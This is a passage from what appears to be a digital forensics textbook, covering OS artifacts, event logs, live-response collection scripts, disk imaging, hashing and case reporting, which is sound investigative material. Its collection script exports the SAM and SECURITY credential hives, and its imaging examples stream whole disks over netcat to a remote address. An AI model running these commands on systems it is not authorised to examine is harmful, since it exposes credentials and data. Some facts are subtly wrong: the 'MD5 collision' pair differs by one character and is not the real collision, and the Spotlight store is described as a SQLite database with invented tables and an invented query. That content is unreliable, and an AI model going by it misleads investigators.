Triggers\n   - Actions\n\n4. **Windows Error Reporting (WER):**\n   Location: `%ProgramData%\\Microsoft\\Windows\\WER\\`\n\n   Crash dumps and reports:\n   - Application crashes\n   - Memory dumps\n   - Error signatures\n\n5. **Amcache.hve:**\n   Location: `%SystemRoot%\\AppCompat\\Programs\\Amcache.hve`\n\n   Program execution artifacts:\n   - SHA1 hashes of executables\n   - File paths\n   - Installation times\n   - Deletion records\n\n6. **Shimcache (AppCompatCache):**\n   Location: Registry `SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCompatCache`\n\n   Tracks program execution:\n   - File path\n   - Last modified time\n   - Execution flag\n\n7. **RecentFileCache.bcf:**\n   Location: `%SystemRoot%\\AppCompat\\Programs\\RecentFileCache.bcf`\n\n   Recently used files:\n   - Quick Launch entries\n   - Recent documents\n\n#### Event Logs Deep Dive\n\nWindows Event Logs are structured records of system, security, and application events.\n\n**Event Log Structure:**\n```\nEvent Record:\n- Record ID (incremental)\n- Timestamp\n- Event ID\n- Level (Info, Warning, Error)\n- Source\n- Computer name\n- User SID\n- Event data (XML format)\n```\n\n**Critical Event IDs:**\n\n*Security Log:*\n| Event ID | Description | Forensic Value |\n|----------|-------------|----------------|\n| 4624 | Successful logon | User, time, logon type |\n| 4625 | Failed logon | Brute force attempts |\n| 4634 | Logoff | Session end time |\n| 4648 | Logon with explicit credentials | RunAs usage |\n| 4672 | Special privileges assigned | Admin logon |\n| 4688 | Process creation | Program execution |\n| 4689 | Process termination | End of execution |\n| 4698 | Scheduled task created | Persistence mechanism |\n| 4702 | Scheduled task updated | Modification |\n| 4720 | User account created | New user |\n| 4724 | Password reset attempt | Account compromise |\n| 4732 | User added to group | Privilege escalation |\n| 5140 | Network share accessed | Data access |\n| 5156 | Windows Filtering Platform connection | Network connection |\n\n*System Log:*\n| Event ID | Description |\n|----------|-------------|\n| 6005 | Event log service started (system boot) |\n| 6006 | Event log service stopped (shutdown) |\n| 6008 | Unexpected shutdown |\n| 6009 | OS version at boot |\n| 6013 | System uptime |\n| 7001 | Service started |\n| 7036 | Service state change |\n\n*Application Log:*\n- Application-specific events\n- Error reports\n- Installation events\n- Crash information\n\n**Logon Types:**\n| Type | Description | Forensic Significance |\n|------|-------------|----------------------|\n| 2 | Interactive (local console) | Physical access |\n| 3 | Network (network share) | Remote file access |\n| 4 | Batch (scheduled task) | Automated execution |\n| 5 | Service (service startup) | System services |\n| 7 | Unlock (screen unlock) | After idle/lock |\n| 8 | NetworkCleartext (IIS) | Web authentication |\n| 9 | NewCredentials (RunAs) | Alternate credentials |\n| 10 | RemoteInteractive (RDP) | Remote desktop |\n| 11 | CachedInteractive | Domain cached credentials |\n\n**Parsing Event Logs:**\n```powershell\n# PowerShell example\nGet-WinEvent -LogName Security -MaxEvents 100 | \nWhere-Object { $_.Id -eq 4624 } |\nSelect-Object TimeCreated, Message\n\n# Using wevtutil\nwevtutil qe Security /f:text /q:\"*[System[(EventID=4624)]]\"\n\n# Export to CSV\nGet-WinEvent -LogName Security | \nExport-Csv security_events.csv\n```\n\n---\n\n### 3.2 Linux Internals\n\n#### Init Systems (systemd)\n\nLinux boot and service management has evolved, with systemd becoming the standard on most distributions.\n\n**Boot Process:**\n```\nBIOS/UEFI \u2192 Bootloader (GRUB) \u2192 Kernel \u2192 Init (systemd) \u2192 Target \u2192 Services\n```\n\n**systemd Architecture:**\n```\nsystemd (PID 1)\n    \u2193\nTargets (runlevels)\n    \u2193\nServices (.service files)\n    \u2193\nSockets, Timers, Mounts, etc.\n```\n\n**Key systemd Components:**\n\n| Component | Purpose | Forensic Location |\n|-----------|---------|-------------------|\n| systemd | Main init process | PID 1, /proc/1/ |\n| journald | Logging daemon | /var/log/journal/ |\n| udevd | Device management | /dev/, rules in /etc/udev/ |\n| logind | Session management | /var/log/wtmp, /var/run/utmp |\n| timedated | Time synchronization | /etc/systemd/timesyncd.conf |\n\n**Forensic Artifacts from systemd:**\n\n1. **Service Files:**\n   Location: `/etc/systemd/system/`, `/lib/systemd/system/`\n\n   ```ini\n   [Unit]\n   Description=Malicious Service\n   After=network.target\n   \n   [Service]\n   ExecStart=/usr/local/bin/malware\n   Restart=always\n   \n   [Install]\n   WantedBy=multi-user.target\n   ```\n\n2. **Journal Logs:**\n   ```bash\n   # View logs from specific service\n   journalctl -u malicious.service\n   \n   # View logs since boot\n   journalctl -b\n   \n   # Export to text\n   journalctl -o export > system_logs.txt\n   ```\n\n3. **Timer Units:**\n   Scheduled tasks in systemd:\n   ```ini\n   [Unit]\n   Description=Run malware daily\n   \n   [Timer]\n   OnCalendar=daily\n   Persistent=true\n   \n   [Install]\n   WantedBy=timers.target\n   ```\n\n#### /proc Filesystem\n\nThe /proc filesystem is a virtual filesystem providing runtime system information \u2013 critical for live forensics.\n\n**Key /proc Entries:**\n\n| Path | Content | Forensic Value |\n|------|---------|----------------|\n| /proc/cpuinfo | CPU information | System identification |\n| /proc/meminfo | Memory usage | RAM capacity, usage |\n| /proc/version | Kernel version | OS identification |\n| /proc/cmdline | Boot parameters | How system booted |\n| /proc/mounts | Mounted filesystems | Storage layout |\n| /proc/self/ | Current process | Context for tools |\n| /proc/[PID]/ | Process-specific | Per-process details |\n\n**Process Directory (/proc/[PID]/):**\n\n| File | Contains |\n|------|----------|\n| cmdline | Command line arguments |\n| environ | Environment variables |\n| exe | Symlink to executable |\n| fd/ | Open file descriptors |\n| maps | Memory mappings |\n| mem | Process memory (requires ptrace) |\n| root | Symlink to root directory |\n| status | Process status |\n\n**Forensic Commands:**\n```bash\n# List all processes with details\nls -la /proc/*/exe 2>/dev/null\n\n# Get command line of all processes\nfor pid in /proc/[0-9]*; do \n    echo -n \"$(basename $pid): \"\n    cat $pid/cmdline | tr '\\0' ' '\n    echo\ndone\n\n# Check for hidden processes\nps aux | grep -v \"\\[\"  # Kernel threads are in []\n```\n\n**Detecting Rootkits via /proc:**\n- Check for hidden PIDs (processes not in ps output but in /proc)\n- Verify /proc/[PID]/exe points to valid file\n- Check for unusual memory mappings\n- Examine /proc/modules for hidden kernel modules\n\n#### Authentication Logs\n\nLinux maintains detailed authentication logs essential for intrusion investigation.\n\n**Primary Log Files:**\n\n1. **/var/log/auth.log** (Debian/Ubuntu):\n   ```bash\n   # SSH logins\n   tail -f /var/log/auth.log | grep sshd\n   \n   # Failed logins\n   grep \"Failed password\" /var/log/auth.log\n   \n   # sudo usage\n   grep sudo /var/log/auth.log\n   ```\n\n2. **/var/log/secure** (RHEL/CentOS):\n   Same content as auth.log but different location.\n\n3. **/var/log/wtmp:**\n   Binary log of all logins/logouts:\n   ```bash\n   # View login history\n   last\n   \n   # Specific user\n   last username\n   \n   # Reboot history\n   last reboot\n   ```\n\n4. **/var/log/btmp:**\n   Failed login attempts:\n   ```bash\n   # View failed logins\n   lastb\n   ```\n\n5. **/var/run/utmp:**\n   Currently logged in users:\n   ```bash\n   who\n   w\n   ```\n\n**SSH Forensic Artifacts:**\n\n- **Known hosts:** `~/.ssh/known_hosts`\n  Shows systems the user connected TO\n\n- **Authorized keys:** `~/.ssh/authorized_keys`\n  Shows who can connect TO this system\n\n- **SSH logs:** auth.log entries for each connection\n  - Source IP\n  - Authentication method\n  - Session duration\n\n**Sudo Forensics:**\n```bash\n# sudoers file - who can sudo\ncat /etc/sudoers\ncat /etc/sudoers.d/*\n\n# sudo logs\ngrep sudo /var/log/auth.log\n# Format: user : TTY=pts/0 ; PWD=/home/user ; USER=root ; COMMAND=/bin/bash\n```\n\n---\n\n### 3.3 macOS Internals\n\n#### Unified Logs\n\nmacOS uses a unified logging system that captures detailed system activity.\n\n**Log Architecture:**\n```\nlog collect (command) \u2192 .logarchive directory\n    \u2193\nContains:\n- .tracev3 files (binary logs)\n- metadata.plist\n- timesync database\n```\n\n**Accessing Logs:**\n\n```bash\n# Collect system logs\nlog collect --last 1d --output system_logs.logarchive\n\n# Stream live logs\nlog stream --predicate 'eventMessage contains \"error\"'\n\n# Show logs from specific process\nlog show --predicate 'process == \"kernel\"'\n\n# Export to text\nlog show --archive system_logs.logarchive > logs.txt\n```\n\n**Forensically Significant Log Entries:**\n\n1. **Application Launch:**\n   ```\n   process: appsync[PID]\n   eventMessage: launching application /Applications/Malware.app\n   ```\n\n2. **USB Device Connection:**\n   ```\n   process: kernel\n   eventMessage: IOUSBHostDevice - device 0x1234 connected\n   ```\n\n3. **Network Connections:**\n   ```\n   process: firewall\n   eventMessage: Connection from 192.168.1.100:54321\n   ```\n\n4. **File Access:**\n   ```\n   process: sandboxd\n   eventMessage: deny file-write /Users/user/Documents/secret.doc\n   ```\n\n#### Spotlight Artifacts\n\nSpotlight is macOS's search index \u2013 a rich source of file metadata.\n\n**Spotlight Database Location:**\n```\n/.Spotlight-V100/Store-V1/ (volume root)\n/System/Volumes/Data/.Spotlight-V100/ (modern macOS)\n```\n\n**Database Structure:**\n- SQLite database\n- Indexes of all files\n- Metadata extracted\n- Search history\n\n**Forensic Extraction:**\n\n```bash\n# Search for files (but updates timestamps!)\nmdfind -onlyin / suspect_term\n\n# Export metadata for specific file\nmdls /path/to/file\n\n# Show search history\nplutil -convert xml1 ~/Library/Preferences/com.apple.spotlight.plist\n\n# Recover deleted file references\nsqlite3 .Spotlight-V100/Store-V1/store.db\nSELECT * FROM files WHERE path LIKE '%secret%';\n```\n\n**Critical Spotlight Tables:**\n\n| Table | Content |\n|-------|---------|\n| files | File paths, inodes, flags |\n| metadata | Extended attributes, timestamps |\n| content | File content snippets |\n| search_history | User searches |\n\n#### Time Machine Backups\n\nTime Machine creates incremental backups that can be forensic goldmines.\n\n**Backup Structure:**\n```\nBackups.backupdb/\n\u2514\u2500\u2500 Computer Name/\n    \u251c\u2500\u2500 2023-06-15-123456/\n    \u2502   \u251c\u2500\u2500 Macintosh HD -> Data/\n    \u2502   \u2514\u2500\u2500 ...\n    \u251c\u2500\u2500 2023-06-14-093022/\n    \u2514\u2500\u2500 Latest -> 2023-06-15-123456/\n```\n\n**Forensic Value:**\n- Historical versions of files\n- Deleted file recovery\n- Timeline of file changes\n- System state at specific times\n\n**Accessing Backups:**\n\n```bash\n# Mount Time Machine sparse bundle\nhdiutil attach /Volumes/TimeMachine/Backups.backupdb/sparsebundle\n\n# Navigate to specific backup\ncd /Volumes/TimeMachine/Backups.backupdb/Computer/2023-06-15-123456/Macintosh\\ HD\n\n# Find deleted files\nfind . -name \"secret.doc\" 2>/dev/null\n```\n\n**Hard Link Structure:**\nTime Machine uses hard links for unchanged files:\n- Multiple backups reference same physical data\n- Deleting one backup doesn't free space\n- Historical data persists until all references gone\n\n---\n\n### 3.4 Timeline Analysis\n\n#### Super Timeline Creation\n\nTimeline analysis correlates artifacts from multiple sources to reconstruct events.\n\n**Sources for Timeline:**\n- File system metadata (MAC times)\n- Log files (event logs, auth logs)\n- Registry artifacts\n- Application data\n- Network logs\n- Memory artifacts\n\n**log2timeline/plaso Approach:**\n\n```bash\n# Create timeline from disk image\nlog2timeline.py --storage-file case.plaso image.dd\n\n# Process multiple sources\nlog2timeline.py --storage-file case.plaso \\\n    --partitions all \\\n    --vss parsing \\\n    image.dd\n\n# Generate timeline\npsort.py -o l2tcsv case.plaso > timeline.csv\n```\n\n**Timeline Format:**\n| Timestamp | Source | Description | Full Path |\n|-----------|--------|-------------|-----------|\n| 2023-06-15 10:23:45 | FILE | Modified | /Users/user/secret.doc |\n| 2023-06-15 10:24:12 | REG | Key created | HKU\\SID\\Software\\Microsoft |\n| 2023-06-15 10:25:30 | LOG | Logon | Security.evtx:4624 |\n\n#### Correlation of Multi-Source Logs\n\nEffective timeline analysis correlates events across sources to establish the full picture.\n\n**Example Investigation: Data Theft**\n\n*Event 1: Preparation*\n- 09:15:23 \u2013 Process: cmd.exe launched (Prefetch)\n- 09:15:45 \u2013 USB device connected (Registry USBSTOR)\n- 09:16:12 \u2013 File: confidential.xlsx opened (Jump Lists)\n\n*Event 2: Data Access*\n- 09:20:34 \u2013 File: confidential.xlsx accessed (USN Journal)\n- 09:21:56 \u2013 Copy operation detected (Shellbags)\n- 09:22:30 \u2013 File: confidential.xlsx accessed again (MFT)\n\n*Event 3: Exfiltration*\n- 09:25:12 \u2013 Network connection to external IP (Firewall log)\n- 09:25:45 \u2013 Large data transfer (NetFlow)\n- 09:26:30 \u2013 USB device removed (Setupapi.log)\n\n**Correlation Techniques:**\n\n1. **Normalization:** Convert all timestamps to common format (UTC)\n2. **Super Timeline:** Combine all events chronologically\n3. **Gap Analysis:** Identify missing time periods\n4. **Pattern Recognition:** Detect suspicious sequences\n5. **Anomaly Detection:** Flag deviations from baseline\n\n**Timeline Visualization:**\n```\n09:00 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n09:15 \u2500\u2500\u2500\u2500\u2500[CMD][USB][FILE]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n09:20 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[ACCESS]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n09:25 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[NET][XFER][USB REM]\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n09:30 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nKey: [CMD]=cmd.exe, [USB]=USB connect, [FILE]=file open,\n     [ACCESS]=file access, [NET]=connection, [XFER]=transfer\n```\n\n---\n\n# \ud83d\udd39 PART II \u2013 FORENSIC METHODOLOGY & ACQUISITION\n\n---\n\n## Chapter 4 \u2013 Incident Response & Evidence Handling\n\n---\n\n### 4.1 First Responder Protocol\n\nFirst responders are often non-forensic personnel who arrive first at a scene containing digital evidence. Their actions can make or break a case.\n\n**Initial Priorities:**\n\n1. **Safety First:**\n   - Ensure scene safety (physical threats)\n   - Check for hazardous materials\n   - Secure area from unauthorized access\n\n2. **Preserve Life:**\n   - Medical emergencies take priority\n   - Digital evidence secondary to life safety\n\n3. **Secure Scene:**\n   - Establish perimeter\n   - Control access\n   - Document initial observations\n\n**Digital Evidence Considerations:**\n\n```\nARRIVAL ASSESSMENT:\n- What type of incident? (homicide, fraud, intrusion)\n- What devices are present? (computers, phones, servers)\n- Are devices powered on or off?\n- Is network connectivity present?\n- Are there multiple users/workstations?\n- Is this a live incident requiring response?\n```\n\n**Documentation Before Touching:**\n\n```markdown\nPhotograph entire scene:\n- Overall room layout\n- Each device position\n- Screen contents (if powered on)\n- Cable connections\n- Surrounding area\n- Anyone present\n\nWritten notes:\n- Date and time of arrival\n- Weather conditions (for outdoor scenes)\n- Who is present\n- Initial observations\n- Any odors, sounds, unusual conditions\n```\n\n**Critical Mistakes by First Responders:**\n\n1. **Turning off powered-on computers:**\n   - Loses volatile data (memory, network connections)\n   - May trigger encryption\n   - Can corrupt open files\n\n2. **Using suspect's computer to examine files:**\n   - Modifies access times\n   - May trigger anti-forensics\n   - Contaminates evidence\n\n3. **Discussing case near devices:**\n   - Voice assistants may record\n   - Cameras may capture\n   - Microphones may be active\n\n4. **Improper handling of mobile devices:**\n   - Network connections may wipe data\n   - Fingerprints on screens\n   - Battery disconnection critical\n\n---\n\n### 4.2 Live vs Dead Analysis\n\nUnderstanding when to perform live analysis versus dead analysis is crucial.\n\n**Dead Analysis (Traditional):**\n- System powered off\n- Storage media removed and imaged\n- Analysis performed on image\n- No volatile data\n\n**Live Analysis:**\n- System running\n- Volatile data collected first\n- May include memory acquisition\n- Changes system state\n\n**Decision Matrix:**\n\n| Scenario | Approach | Rationale |\n|----------|----------|-----------|\n| Encrypted system running | Live | Can't access data after shutdown |\n| Server can't be offline | Live | Business continuity |\n| Suspect at keyboard | Live | May contain active sessions |\n| Powered-off computer | Dead | Preserve state, no volatile loss |\n| Malware investigation | Both | Memory for malware, disk for persistence |\n| Network intrusion | Live | Active connections, processes |\n\n**Live Response Order of Volatility:**\n\n```\nMOST VOLATILE (collect first)\n    \u2193\n1. CPU registers, cache\n2. Routing tables, ARP cache\n3. Process table, kernel modules\n4. Memory (RAM)\n5. Temporary file systems (/tmp)\n6. Disk (persistent storage)\n7. Remote logs, backups\n    \u2193\nLEAST VOLATILE (collect last)\n```\n\n**Live Response Tools:**\n\nWindows:\n```powershell\n# Built-in commands\nsysteminfo > systeminfo.txt\nipconfig /all > ipconfig.txt\nnetstat -ano > netstat.txt\ntasklist /v > tasklist.txt\nnet session > sessions.txt\n\n# Specialized tools (copy to USB)\nautorunsc.exe -a -c > autoruns.csv\npsloggedon.exe > loggedon.txt\nhandle.exe -a > handles.txt\n```\n\nLinux:\n```bash\n# Collect system information\nuname -a > uname.txt\nps auxf > processes.txt\nlsof > open_files.txt\nnetstat -tupan > connections.txt\narp -a > arp_cache.txt\nlast > logins.txt\ndmesg > kernel_messages.txt\n```\n\n---\n\n### 4.3 Volatile Data Collection\n\nVolatile data must be collected systematically, starting with the most volatile.\n\n**Live Response Toolkit Preparation:**\n\n```\nForensic USB Drive Contents:\n- Write-protected USB (hardware switch)\n- Clean tools (verified hashes)\n- Batch scripts for collection\n- Output directory structure\n- Documentation templates\n- Write blocker software\n- Memory acquisition tools\n```\n\n**Windows Volatile Collection Script:**\n\n```powershell\n# forensic_collection.ps1\n$output = \"C:\\forensics_$(Get-Date -Format 'yyyyMMdd_HHmmss')\"\nNew-Item -ItemType Directory -Path $output -Force\n\n# System time (critical for timeline)\nGet-Date | Out-File \"$output\\system_time.txt\"\nw32tm /stripchart /computer:time.windows.com /samples:1 >> \"$output\\time_sync.txt\"\n\n# Network configuration\nipconfig /all > \"$output\\ipconfig.txt\"\nroute print > \"$output\\route.txt\"\narp -a > \"$output\\arp.txt\"\nnetstat -ano > \"$output\\netstat.txt\"\nnbtstat -c > \"$output\\nbtstat.txt\"\n\n# Process information\ntasklist /v > \"$output\\tasklist.txt\"\ntasklist /svc > \"$output\\tasklist_services.txt\"\nwmic process list full > \"$output\\wmic_process.txt\"\n\n# User sessions\nquery user > \"$output\\query_user.txt\"\nnet session > \"$output\\net_session.txt\"\n\n# Network shares\nnet share > \"$output\\net_share.txt\"\n\n# Open files\nopenfiles /query /v > \"$output\\openfiles.txt\"\n\n# Services\nnet start > \"$output\\net_start.txt\"\nsc query > \"$output\\sc_query.txt\"\n\n# Drivers\ndriverquery /v > \"$output\\driverquery.txt\"\n\n# Registry volatile data\nreg export HKLM\\SAM \"$output\\sam.reg\" /y\nreg export HKLM\\SECURITY \"$output\\security.reg\" /y\nreg export HKLM\\SYSTEM \"$output\\system.reg\" /y\nreg export HKLM\\SOFTWARE \"$output\\software.reg\" /y\n\n# Event logs (last 1000)\nGet-WinEvent -LogName System -MaxEvents 1000 | Export-Csv \"$output\\system_log.csv\"\nGet-WinEvent -LogName Security -MaxEvents 1000 | Export-Csv \"$output\\security_log.csv\"\nGet-WinEvent -LogName Application -MaxEvents 1000 | Export-Csv \"$output\\application_log.csv\"\n\n# Memory acquisition (requires separate tool)\n# .\\memdump.exe \"$output\\memory.raw\"\n```\n\n**Linux Volatile Collection Script:**\n\n```bash\n#!/bin/bash\n# linux_forensics.sh\n\nOUTPUT=\"/forensics/$(date +%Y%m%d_%H%M%S)\"\nmkdir -p $OUTPUT\n\n# System time\ndate > $OUTPUT/date.txt\ncat /proc/driver/rtc > $OUTPUT/rtc.txt\n\n# System information\nuname -a > $OUTPUT/uname.txt\ncat /etc/*release* > $OUTPUT/release.txt\nhostname > $OUTPUT/hostname.txt\nuptime > $OUTPUT/uptime.txt\n\n# Network\nifconfig -a > $OUTPUT/ifconfig.txt\nip addr show > $OUTPUT/ipaddr.txt\nip route show > $OUTPUT/route.txt\narp -a > $OUTPUT/arp.txt\nnetstat -tupan > $OUTPUT/netstat.txt\nnetstat -rn > $OUTPUT/routing.txt\nss -tulpn > $OUTPUT/ss.txt\niptables-save > $OUTPUT/iptables.txt\n\n# Processes\nps auxf > $OUTPUT/ps.txt\npstree > $OUTPUT/pstree.txt\nlsof > $OUTPUT/lsof.txt\nlsmod > $OUTPUT/lsmod.txt\n\n# Users\nw > $OUTPUT/w.txt\nwho > $OUTPUT/who.txt\nlast > $OUTPUT/last.txt\nlastlog > $OUTPUT/lastlog.txt\n\n# Filesystems\nmount > $OUTPUT/mount.txt\ndf -h > $OUTPUT/df.txt\nfdisk -l > $OUTPUT/fdisk.txt\n\n# Memory (requires LiME)\n# insmod lime.ko \"path=$OUTPUT/memory.lime format=lime\"\n\n# Hash all collected files\ncd $OUTPUT && sha256sum * > hashes.txt\n```\n\n---\n\n### 4.4 Forensic Imaging Techniques\n\n#### Bit-by-Bit Imaging\n\nBit-for-bit imaging creates a perfect duplicate of source media, including slack space and unallocated areas.\n\n**Imaging Types:**\n\n| Type | Copies | Includes | Use Case |\n|------|--------|----------|----------|\n| Physical/Bit-for-bit | All sectors | Everything | Complete preservation |\n| Logical | Active files only | File system only | Quick collection |\n| Sparse | Specific areas | Selected data | Targeted collection |\n\n**Hardware Write Blockers:**\n- Connect between source drive and imaging computer\n- Prevent any writes to source\n- Required for evidence admissibility\n- Types: FireWire, USB, SATA, IDE\n\n**dd (Data Duplicator):**\n\n```bash\n# Basic image\ndd if=/dev/sda of=/evidence/case001.dd bs=4M conv=noerror,sync status=progress\n\n# With compression\ndd if=/dev/sda bs=4M | gzip -c > /evidence/case001.dd.gz\n\n# Network imaging (receiver)\nnc -l -p 9999 | dd of=/evidence/case001.dd bs=4M\n\n# Network imaging (sender)\ndd if=/dev/sda bs=4M | nc 192.168.1.100 9999\n\n# Split into parts\ndd if=/dev/sda bs=4M | split -b 2G - /evidence/case001.dd.\n\n# Verify with hash\ndd if=/dev/sda bs=4M | tee >(sha256sum > /evidence/case001.sha256) > /evidence/case001.dd\n```\n\n**Guymager (GUI Tool):**\n- User-friendly interface\n- Multiple output formats (DD, E01, AFF)\n- Automatic hashing\n- Verification after imaging\n- Detailed logging\n\n**FTK Imager (Windows):**\n- Create disk images\n- Mount images for viewing\n- Capture memory\n- Create directory listings\n- Export files\n\n**E01 (EnCase) Format:**\n```\nHeader (Case info, examiner, notes)\n    \u2193\nCompressed data chunks\n    \u2193\nCRC32 per chunk\n    \u2193\nMD5 hash of entire image\n    \u2193\nTrailer with metadata\n```\n\n**AFF (Advanced Forensic Format):**\n- Open format\n- Compression support\n- Metadata stored with image\n- Encryption support\n- Segmentation support\n\n#### Logical Imaging\n\nLogical imaging only copies active files and directories, not free space.\n\n**When to Use:**\n- Large drives with time constraints\n- Cloud storage collection\n- Mobile device logical extraction\n- Targeted collection by file type\n\n**Tools:**\n```bash\n# rsync logical copy\nrsync -av /source/ /destination/\n\n# tar with preservation\ntar cvpf logical_backup.tar --atime-preserve /source/\n\n# FTK Imager logical\n# Add source folder \u2192 Export files\n```\n\n#### Network Acquisition\n\nImaging across networks introduces challenges but may be necessary.\n\n**Network Imaging Considerations:**\n- Bandwidth limitations\n- Network reliability\n- Encryption requirements\n- Authentication\n- Chain of custody\n\n**Tools for Network Acquisition:**\n\n```bash\n# netcat (unencrypted)\n# Receiver\nnc -l -p 9999 | dd of=evidence.dd\n# Sender\ndd if=/dev/sda | nc receiver_ip 9999\n\n# cryptcat (encrypted)\n# Same as netcat but with encryption\n\n# socat (advanced networking)\nsocat OPENSSL-LISTEN:4443,cert=server.pem,verify=0,fork \\\n    OPEN:evidence.dd,create,append\n\n# dd over SSH\ndd if=/dev/sda | ssh user@server \"dd of=evidence.dd\"\n```\n\n**Remote Forensic Acquisition Tools:**\n- **F-Response:** SANE protocol for remote access\n- **EnCase Enterprise:** Remote acquisition\n- **FTK Enterprise:** Network-enabled\n- **GRR (Google Rapid Response):** Live response\n\n---\n\n### 4.5 Hashing Algorithms\n\n#### MD5 Weaknesses\n\nMD5 (Message Digest 5) produces 128-bit hash values but is no longer considered cryptographically secure.\n\n**MD5 Collision Example:**\n\nTwo different files with same MD5 hash:\n```\nFile 1: \nd131dd02c5e6eec4693d9a0698aff95c\n2fcab58712467eab4004583eb8fb7f89\n55ad340609f4b30283e488832571415a\n085125e8f7cdc99fd91dbdf280373c5b\nd8823e3156348f5bae6dacd436c919c6\ndd53e2b487da03fd02396306d248cda0\ne99f33420f577ee8ce54b67080a80d1e\nc69821bcb6a8839396f9652b6ff72a70\n\nFile 2:\nd131dd02c5e6eec4693d9a0698aff95c\n2fcab50712467eab4004583eb8fb7f89\n55ad340609f4b30283e488832571415a\n085125e8f7cdc99fd91dbdf280373c5b\nd8823e3156348f5bae6dacd436c919c6\ndd53e2b487da03fd02396306d248cda0\ne99f33420f577ee8ce54b67080a80d1e\nc69821bcb6a8839396f9652b6ff72a70\n```\n\n**Forensic Implications:**\n- MD5 alone insufficient for evidence authentication\n- Should not be used for cryptographic verification\n- Still useful for non-critical identification\n- Use additional algorithms for verification\n\n#### SHA Family\n\nSHA (Secure Hash Algorithm) family provides stronger hashing.\n\n**SHA Variants:**\n\n| Algorithm | Output Size | Security Status | Use in Forensics |\n|-----------|-------------|-----------------|-------------------|\n| SHA-1 | 160 bits | Broken (collisions found) | Deprecated |\n| SHA-256 | 256 bits | Secure | Standard |\n| SHA-512 | 512 bits | Secure | High-security |\n| SHA-3 | Variable | Latest standard | Emerging |\n\n**Practical Usage:**\n\n```bash\n# Calculate SHA-256\nsha256sum evidence.dd > evidence.sha256\n\n# Verify\nsha256sum -c evidence.sha256\n\n# Multiple algorithms\nshasum -a 1 -a 256 -a 512 evidence.dd\n\n# Windows PowerShell\nGet-FileHash -Algorithm SHA256 evidence.dd\n```\n\n#### Collision Risks\n\nUnderstanding collision probabilities is important for evidence admissibility.\n\n**Birthday Paradox:**\n- Probability of finding two files with same hash\n- For 256-bit hash: 2^128 operations theoretically\n- Practically impossible with current technology\n\n**Forensic Standard:**\n- Use multiple hash algorithms\n- Document hash values in reports\n- Verify immediately after imaging\n- Re-verify before court\n\n**Chain of Custody Hashing:**\n```\nStep 1: Calculate hash at acquisition\nStep 2: Document hash in chain of custody\nStep 3: Recalculate before analysis (verify match)\nStep 4: Recalculate before court (verify match)\nStep 5: Present all hash verifications\n```\n\n---\n\n### 4.6 Documentation & Reporting Standards\n\nDocumentation is as important as the evidence itself.\n\n**Case Documentation Requirements:**\n\n1. **Incident Report:**\n   - Date/time of incident\n   - Reporting party\n   - Nature of incident\n   - Initial observations\n\n2. **Chain of Custody:**\n   - Every person handling evidence\n   - Dates and times\n   - Purpose of handling\n   - Condition of evidence\n\n3. **Examination Log:**\n   - Date/time of examination\n   - Tools used (with versions)\n   - Actions performed\n   - Findings\n   - Any issues encountered\n\n4. **Image Documentation:**\n   - Source drive information (model, serial, size)\n   - Imaging method\n   - Hash values (pre and post)\n   - Verification results\n   - Storage location\n\n**Report Structure:**\n\n```\nCASE REPORT\n\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\n1. CASE INFORMATION\n   - Case number\n   - Investigator\n   - Date of report\n   - Classification\n\n2. EXECUTIVE SUMMARY\n   - Brief overview of findings\n   - Key evidence discovered\n   - Conclusions\n\n3. EVIDENCE LIST\n   - Itemized evidence with hash values\n   - Chain of custody summary\n\n4. EXAMINATION DETAILS\n   - Methodology\n   - Tools used (with versions)\n   - Step-by-step analysis\n   - Screenshots and documentation\n\n5. FINDINGS\n   - Detailed findings\n   - Timeline of events\n   - Relevant artifacts\n   - Correlation with other evidence\n\n6. CONCLUSIONS\n   - Summary of findings\n   - Expert opinions\n   - Recommendations\n\n7. APPENDICES\n   - Raw data exports\n   - Tool output\n   - Hash verification\n   - Chain of custody forms\n   - Glossary\n```\n\n**Tool Documentation Standards:**\n\n```markdown\nTool Documentation Template:\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTool Name: FTK Imager\nVersion: 4.7.1\nDeveloper: AccessData\nHash: SHA256: 1a2b3c...\nUsage: Created forensic image of evidence item EX-001\nParameters: Source: \\\\.\\PhysicalDrive1, Destination: EX-001.E01\nOutput: EX-001.E01, EX-001.txt (log)\nVerification: SHA256 match: 9f8e7d...\nNotes: No errors during imaging\n```\n\n**Court-Ready Documentation:**\n- Use third-person narrative\n- Avoid technical jargon in summaries\n- Include definitions of technical terms\n- Reference specific evidence items\n- Include visual aids (timelines, diagrams)\n- Document negative findings (what wasn't found)\n\n---\n\n## Chapter 5 \u2013 Forensic Tools & Lab Setup\n\n---\n\n### 5.1 Building a Forensic Lab\n\n#### 